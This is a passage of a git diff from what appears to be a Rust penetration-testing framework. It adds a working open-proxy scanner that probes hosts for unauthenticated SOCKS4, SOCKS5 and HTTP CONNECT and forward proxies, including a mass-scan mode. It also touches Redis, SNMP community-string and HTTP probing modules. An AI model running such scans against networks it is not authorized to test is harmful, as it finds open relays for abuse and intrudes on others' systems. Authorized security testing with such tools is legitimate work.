if let Err(e) = raw.bind(&bind_addr.into()) { crate::meprintln!("[!] Socket bind error: {}", e); }
|
||||
|
||||
let std_sock: std::net::UdpSocket = raw.into();
|
||||
match UdpSocket::from_std(std_sock) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return Some("ERROR".into()),
|
||||
}
|
||||
@@ -730,7 +751,7 @@ impl ProgressTracker {
|
||||
).cyan());
|
||||
// Note: This is in a sync context (ProgressTracker), so we use blocking flush
|
||||
// The ProgressTracker is called from async context but uses sync printing
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
|
||||
if self.current == self.total {
|
||||
crate::mprintln!();
|
||||
|
||||
@@ -0,0 +1,232 @@
|
||||
//! Open Proxy Scanner
|
||||
//!
|
||||
//! Detects open HTTP CONNECT, SOCKS4, SOCKS5, and HTTP transparent proxies.
|
||||
//! Supports single-target, subnet, and mass scan modes.
|
||||
//!
|
||||
//! FOR AUTHORIZED SECURITY TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::net::IpAddr;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
use crate::utils::cfg_prompt_default;
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_PORTS: &str = "8080,3128,1080,8888,9050,80,3129,8118";
|
||||
const CONNECT_HOST: &str = "httpbin.org";
|
||||
const CONNECT_IP: [u8; 4] = [54, 147, 74, 89]; // httpbin.org fallback IP
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Open Proxy Scanner".to_string(),
|
||||
description: "Scans for open proxy servers: HTTP CONNECT, SOCKS4, SOCKS5, and HTTP transparent. Identifies proxies that can be used for traffic relay without authentication.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROXY DETECTION
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct ProxyHit {
|
||||
port: u16,
|
||||
kind: &'static str,
|
||||
detail: String,
|
||||
}
|
||||
|
||||
/// Check for HTTP CONNECT proxy.
|
||||
async fn check_http_connect(ip: IpAddr, port: u16, dur: Duration) -> Option<ProxyHit> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
|
||||
let req = format!("CONNECT {}:80 HTTP/1.1\r\nHost: {}\r\n\r\n", CONNECT_HOST, CONNECT_HOST);
|
||||
timeout(dur, stream.write_all(req.as_bytes())).await.ok()?.ok()?;
|
||||
let mut buf = [0u8; 1024];
|
||||
let n = timeout(dur, stream.read(&mut buf)).await.ok()?.ok()?;
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if resp.starts_with("HTTP/1.1 200") || resp.starts_with("HTTP/1.0 200") {
|
||||
Some(ProxyHit { port, kind: "HTTP CONNECT", detail: "tunnel established".to_string() })
|
||||
} else if resp.starts_with("HTTP/") && resp.contains("407") {
|
||||
Some(ProxyHit { port, kind: "HTTP CONNECT (auth required)", detail: "proxy requires authentication".to_string() })
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Check for SOCKS5 proxy (no auth).
|
||||
async fn check_socks5(ip: IpAddr, port: u16, dur: Duration) -> Option<ProxyHit> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
|
||||
// Greeting: version 5, 2 methods (no-auth + user/pass)
|
||||
timeout(dur, stream.write_all(&[0x05, 0x02, 0x00, 0x02])).await.ok()?.ok()?;
|
||||
let mut buf = [0u8; 2];
|
||||
timeout(dur, stream.read_exact(&mut buf)).await.ok()?.ok()?;
|
||||
if buf[0] != 0x05 { return None; }
|
||||
match buf[1] {
|
||||
0x00 => Some(ProxyHit { port, kind: "SOCKS5", detail: "open, no auth required".to_string() }),
|
||||
0x02 => Some(ProxyHit { port, kind: "SOCKS5 (auth required)", detail: "accepts user/pass auth".to_string() }),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Check for SOCKS4 proxy.
|
||||
async fn check_socks4(ip: IpAddr, port: u16, dur: Duration) -> Option<ProxyHit> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
|
||||
// SOCKS4 CONNECT to httpbin.org:80
|
||||
let mut pkt = vec![0x04u8, 0x01, 0x00, 0x50]; // version, connect, port 80
|
||||
pkt.extend_from_slice(&CONNECT_IP);
|
||||
pkt.push(0x00); // null-terminated userid
|
||||
timeout(dur, stream.write_all(&pkt)).await.ok()?.ok()?;
|
||||
let mut buf = [0u8; 8];
|
||||
let n = timeout(dur, stream.read(&mut buf)).await.ok()?.ok()?;
|
||||
if n >= 2 && buf[1] == 0x5A {
|
||||
Some(ProxyHit { port, kind: "SOCKS4", detail: "request granted".to_string() })
|
||||
} else if n >= 2 && buf[1] == 0x5B {
|
||||
Some(ProxyHit { port, kind: "SOCKS4 (rejected)", detail: "request rejected".to_string() })
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Check for HTTP transparent/forward proxy.
|
||||
async fn check_http_forward(ip: IpAddr, port: u16, dur: Duration) -> Option<ProxyHit> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
|
||||
let req = format!(
|
||||
"GET http://{}/ip HTTP/1.1\r\nHost: {}\r\nConnection: close\r\n\r\n",
|
||||
CONNECT_HOST, CONNECT_HOST
|
||||
);
|
||||
timeout(dur, stream.write_all(req.as_bytes())).await.ok()?.ok()?;
|
||||
let mut buf = [0u8; 2048];
|
||||
let n = timeout(dur, stream.read(&mut buf)).await.ok()?.ok()?;
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if resp.starts_with("HTTP/") && resp.contains("200") && resp.contains("origin") {
|
||||
Some(ProxyHit { port, kind: "HTTP Forward", detail: "transparent proxy (forwards requests)".to_string() })
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Probe all proxy types on a single port.
|
||||
async fn probe_port(ip: IpAddr, port: u16, dur: Duration) -> Vec<ProxyHit> {
|
||||
let mut hits = Vec::new();
|
||||
// Try SOCKS5 first (fastest detection)
|
||||
if let Some(h) = check_socks5(ip, port, dur).await { hits.push(h); return hits; }
|
||||
// SOCKS4
|
||||
if let Some(h) = check_socks4(ip, port, dur).await { hits.push(h); return hits; }
|
||||
// HTTP CONNECT
|
||||
if let Some(h) = check_http_connect(ip, port, dur).await { hits.push(h); return hits; }
|
||||
// HTTP Forward
|
||||
if let Some(h) = check_http_forward(ip, port, dur).await { hits.push(h); return hits; }
|
||||
hits
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MAIN
|
||||
// ============================================================================
|
||||
|
||||
fn display_banner() {
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!("{}", "| Open Proxy Scanner |".cyan());
|
||||
crate::mprintln!("{}", "| HTTP CONNECT | SOCKS4 | SOCKS5 | HTTP Forward |".cyan());
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// --- Mass scan ---
|
||||
if is_mass_scan_target(target) {
|
||||
let ports_input = cfg_prompt_default("ports", "Ports to scan", DEFAULT_PORTS).await?;
|
||||
let ports = parse_ports(&ports_input);
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "ProxyScan",
|
||||
default_port: 8080,
|
||||
state_file: "proxy_scan_mass_state.log",
|
||||
default_output: "proxy_scan_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, _port: u16| {
|
||||
let ports = ports.clone();
|
||||
async move {
|
||||
let dur = Duration::from_secs(5);
|
||||
let mut lines = Vec::new();
|
||||
for &p in &ports {
|
||||
let hits = probe_port(ip, p, dur).await;
|
||||
for h in hits {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
lines.push(format!("[{}] {}:{} {} ({})", ts, ip, h.port, h.kind, h.detail));
|
||||
crate::mprintln!("\r{}", format!("[+] {}:{} {} — {}", ip, h.port, h.kind, h.detail).green().bold());
|
||||
}
|
||||
}
|
||||
if lines.is_empty() { None } else { Some(lines.join("\n") + "\n") }
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single target ---
|
||||
display_banner();
|
||||
|
||||
let ports_input = cfg_prompt_default("ports", "Ports to scan", DEFAULT_PORTS).await?;
|
||||
let ports = parse_ports(&ports_input);
|
||||
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(5000);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
crate::mprintln!("[*] Target: {}", target.yellow());
|
||||
crate::mprintln!("[*] Ports: {:?}", ports);
|
||||
crate::mprintln!("[*] Timeout: {}ms", timeout_ms);
|
||||
crate::mprintln!();
|
||||
|
||||
let ip: IpAddr = resolve_target(target)?;
|
||||
let mut found = Vec::new();
|
||||
|
||||
for &port in &ports {
|
||||
crate::mprintln!("[*] Probing {}:{}...", ip, port);
|
||||
let hits = probe_port(ip, port, dur).await;
|
||||
if hits.is_empty() {
|
||||
crate::mprintln!(" {}", format!("[-] {}:{} — no proxy detected", ip, port).dimmed());
|
||||
}
|
||||
for h in &hits {
|
||||
crate::mprintln!(" {}", format!("[+] {}:{} — {} ({})", ip, h.port, h.kind, h.detail).green().bold());
|
||||
}
|
||||
found.extend(hits);
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
if found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No open proxies found.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[+] {} proxy(ies) found:", found.len()).green().bold());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(" {:<8} {:<25} {}", "Port".bold(), "Type".bold(), "Detail".bold());
|
||||
crate::mprintln!(" {}", "-".repeat(60).dimmed());
|
||||
for h in &found {
|
||||
crate::mprintln!(" {:<8} {:<25} {}", h.port, h.kind.green(), h.detail);
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_ports(input: &str) -> Vec<u16> {
|
||||
input.split(',')
|
||||
.filter_map(|s| s.trim().parse::<u16>().ok())
|
||||
.filter(|&p| p > 0)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn resolve_target(target: &str) -> Result<IpAddr> {
|
||||
target.parse::<IpAddr>().or_else(|_| {
|
||||
use std::net::ToSocketAddrs;
|
||||
format!("{}:0", target).to_socket_addrs()
|
||||
.map_err(|e| anyhow!("Cannot resolve {}: {}", target, e))?
|
||||
.next()
|
||||
.map(|sa| sa.ip())
|
||||
.ok_or_else(|| anyhow!("No addresses for {}", target))
|
||||
})
|
||||
}
|
||||
@@ -147,9 +147,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("[*] Connecting to {}...", addr).bold());
|
||||
|
||||
let mut stream = timeout(timeout_dur, tokio::net::TcpStream::connect(&addr))
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, timeout_dur)
|
||||
.await
|
||||
.context("Connection timed out")?
|
||||
.context("Failed to connect to Redis")?;
|
||||
|
||||
// Step 1: PING
|
||||
|
||||
@@ -378,12 +378,9 @@ fn parse_port_list(input: &str) -> Result<Vec<u16>> {
|
||||
|
||||
async fn mass_scan_probe(ip: &str, port: u16) -> Option<String> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let stream = timeout(Duration::from_secs(3), TcpStream::connect(&addr))
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(3))
|
||||
.await
|
||||
.ok()?
|
||||
.ok()?;
|
||||
|
||||
let mut stream = stream;
|
||||
let request = format!(
|
||||
"GET / HTTP/1.1\r\nHost: {}\r\nConnection: close\r\n\r\n",
|
||||
ip
|
||||
@@ -417,8 +414,8 @@ async fn probe_service(target: &str, port: u16, timeout_secs: u64) -> Option<Ser
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_secs(timeout_secs);
|
||||
|
||||
let stream = match timeout(dur, TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
let stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
_ => return None,
|
||||
};
|
||||
|
||||
|
||||
@@ -77,7 +77,7 @@ impl Statistics {
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
|
||||
@@ -288,7 +288,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
for community in &communities {
|
||||
crate::mprint!(" [*] Testing '{}' ... ", community);
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
|
||||
match test_community(&socket, &addr, community, OID_SYS_DESCR, *ver_byte, timeout_dur).await {
|
||||
Ok(Some(sys_descr)) => {
|
||||
|
||||
@@ -524,7 +524,7 @@ impl ProgressTracker {
|
||||
"[*] Progress: {}/{} ({:.1}%) | {:.0} probes/sec | ETA: {:.0}s",
|
||||
self.current, self.total, pct, rate, eta
|
||||
).cyan());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
|
||||
if self.current == self.total {
|
||||
crate::mprintln!();
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user